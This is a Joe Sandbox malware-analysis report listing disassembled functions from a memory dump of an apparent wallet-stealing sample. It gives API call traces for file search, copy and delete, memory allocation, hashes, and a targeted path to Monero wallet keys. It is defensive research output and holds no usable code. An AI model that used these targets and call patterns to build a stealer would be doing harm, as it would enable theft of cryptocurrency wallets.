API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 111c63ad6131c91573abb027bba1c9a7d66b94e498dbb7ea5c5b019156a1be7d
Instruction ID: e7e59a863428873c1a3155ddf8af6cd9a9612a56808f773cbc3cdea323e97d54
Opcode Fuzzy Hash: 111c63ad6131c91573abb027bba1c9a7d66b94e498dbb7ea5c5b019156a1be7d
Instruction Fuzzy Hash: 8EE11372C241589BDB54FBE0CC92EEE733ABF54300F40415EF50666291EF346A49DBAA

Function 006CAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

lstrlen.KERNEL32(00000000), ref: 006CB16A
lstrlen.KERNEL32(00000000), ref: 006CB17E

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: ea3b561e913cc63bbbd52f8faa5366788313aaefb99854c7709e6d26be39bb26
Instruction ID: 99d3ae2a071532e7b6110bb7f32ac4e7c97fa09d69ddb64d67f57247f539ee07
Opcode Fuzzy Hash: ea3b561e913cc63bbbd52f8faa5366788313aaefb99854c7709e6d26be39bb26
Instruction Fuzzy Hash: A9913671D241449BDB44FBE0DC96EEE733AAF54300F40416EF507A6291EF346A09DBAA

Function 006CB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

lstrlen.KERNEL32(00000000), ref: 006CB42E
lstrlen.KERNEL32(00000000), ref: 006CB442

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: c43a9c03bf6077d198cbe2dd7daac5e48de338818332609569197c7253edbb29
Instruction ID: fa4c5b4cda8d605086acdabe42955b85dda1fffd508b6172fa390b93ac39c385
Opcode Fuzzy Hash: c43a9c03bf6077d198cbe2dd7daac5e48de338818332609569197c7253edbb29
Instruction Fuzzy Hash: F6713371D241489BDB44FBE0DC96DEE733ABF54300F40412EF506A6291EF346A09DBAA

Function 006D4BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006D8E0B

lstrcat.KERNEL32(?,00000000), ref: 006D4BEA
lstrcat.KERNEL32(?,013ED1F8), ref: 006D4C08

Part of subcall function 006D4910: wsprintfA.USER32 ref: 006D492C
Part of subcall function 006D4910: FindFirstFileA.KERNEL32(?,?), ref: 006D4943

Part of subcall function 006D4910: StrCmpCA.SHLWAPI(?,006E0FDC), ref: 006D4971
Part of subcall function 006D4910: StrCmpCA.SHLWAPI(?,006E0FE0), ref: 006D4987
Part of subcall function 006D4910: FindNextFileA.KERNEL32(000000FF,?), ref: 006D4B7D
Part of subcall function 006D4910: FindClose.KERNEL32(000000FF), ref: 006D4B92

Part of subcall function 006D4910: wsprintfA.USER32 ref: 006D49B0
Part of subcall function 006D4910: StrCmpCA.SHLWAPI(?,006E08D2), ref: 006D49C5
Part of subcall function 006D4910: wsprintfA.USER32 ref: 006D49E2
Part of subcall function 006D4910: PathMatchSpecA.SHLWAPI(?,?), ref: 006D4A1E
Part of subcall function 006D4910: lstrcat.KERNEL32(?,013EE440), ref: 006D4A4A
Part of subcall function 006D4910: lstrcat.KERNEL32(?,006E0FF8), ref: 006D4A5C
Part of subcall function 006D4910: lstrcat.KERNEL32(?,?), ref: 006D4A70
Part of subcall function 006D4910: lstrcat.KERNEL32(?,006E0FFC), ref: 006D4A82
Part of subcall function 006D4910: lstrcat.KERNEL32(?,?), ref: 006D4A96
Part of subcall function 006D4910: CopyFileA.KERNEL32(?,?,00000001), ref: 006D4AAC
Part of subcall function 006D4910: DeleteFileA.KERNEL32(?), ref: 006D4B31

Part of subcall function 006D4910: wsprintfA.USER32 ref: 006D4A07

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 1a98f1c4396c274546ffd833dbbe3c7c4306505c0e41448a3ec82dc3d6abb2e1
Instruction ID: aa762e64f9dba84c00d029af7e999380c7f45903d1e173c71d1a8c4e3a40637e
Opcode Fuzzy Hash: 1a98f1c4396c274546ffd833dbbe3c7c4306505c0e41448a3ec82dc3d6abb2e1
Instruction Fuzzy Hash: CD41B6B79142046FD794FBA0EC52EFE333EA785300F40850DB6455A286ED719B888BD2

Function 006C6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 006C6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 006C6753

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e4f412209d13d0d75cadb6828518b6b6071ebf632588f8b507d2c5142a3fde5c
Instruction ID: 1cb88d896949da5a33c9fc43a6739c640d53d0495e4e5093bbe1d4b9db91bf0d
Opcode Fuzzy Hash: e4f412209d13d0d75cadb6828518b6b6071ebf632588f8b507d2c5142a3fde5c
Instruction Fuzzy Hash: 81419974A00209EFCB44CF58C494FADBBB2FF48314F248699E9599B355D731AA81CF84

Function 006D5050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006D8E0B

lstrcat.KERNEL32(?,00000000), ref: 006D508A
lstrcat.KERNEL32(?,013EDBD8), ref: 006D50A8

Part of subcall function 006D4910: wsprintfA.USER32 ref: 006D492C
Part of subcall function 006D4910: FindFirstFileA.KERNEL32(?,?), ref: 006D4943

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 0506c5efb5c152c0d9c859502743a3f079bb0f50e4bf5356fc843002d8d04c8e
Instruction ID: 183d7768807743afeba3e2a88f567b5935b7a73c78774d6280cf42720a315be1
Opcode Fuzzy Hash: 0506c5efb5c152c0d9c859502743a3f079bb0f50e4bf5356fc843002d8d04c8e
Instruction Fuzzy Hash: 0B01C8B69142085BC794FB60DC46EEE733DAB54300F00415DB68957181EE709AC89BD6

Function 006C10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 006C10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 006C10F7

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: e59a611d64305443aec51f45aed0efddf41b4bbc55d0444a4525c8378ff288e0
Instruction ID: 6b39ead276b155afad28ceab3c1e2d6fb19003e7ef000228faac4c3a09598d60
Opcode Fuzzy Hash: e59a611d64305443aec51f45aed0efddf41b4bbc55d0444a4525c8378ff288e0
Instruction Fuzzy Hash: E3F0E271A41308BFE714AAA8AC59FBAB7E8E706B15F305448F904E7380D9719E00DAA5

Function 006D8D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,006C1B54,?,?,006E564C,?,?,006E0E1F), ref: 006D8D9F

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d7ff9d9e3bbd954be860985271b8a50781d92001df0bedb337a7badcf955db1c
Instruction ID: 00e9d048b46211006bcf0397fbc417ca0cedfed44fa9b94e8bff0c6524890303
Opcode Fuzzy Hash: d7ff9d9e3bbd954be860985271b8a50781d92001df0bedb337a7badcf955db1c
Instruction Fuzzy Hash: 03F0A570C04208EFCF04EFA4D5496DCBB76EF14310F10829AE866673D1EB746A56DB85

Function 006D8DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006D8E0B

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
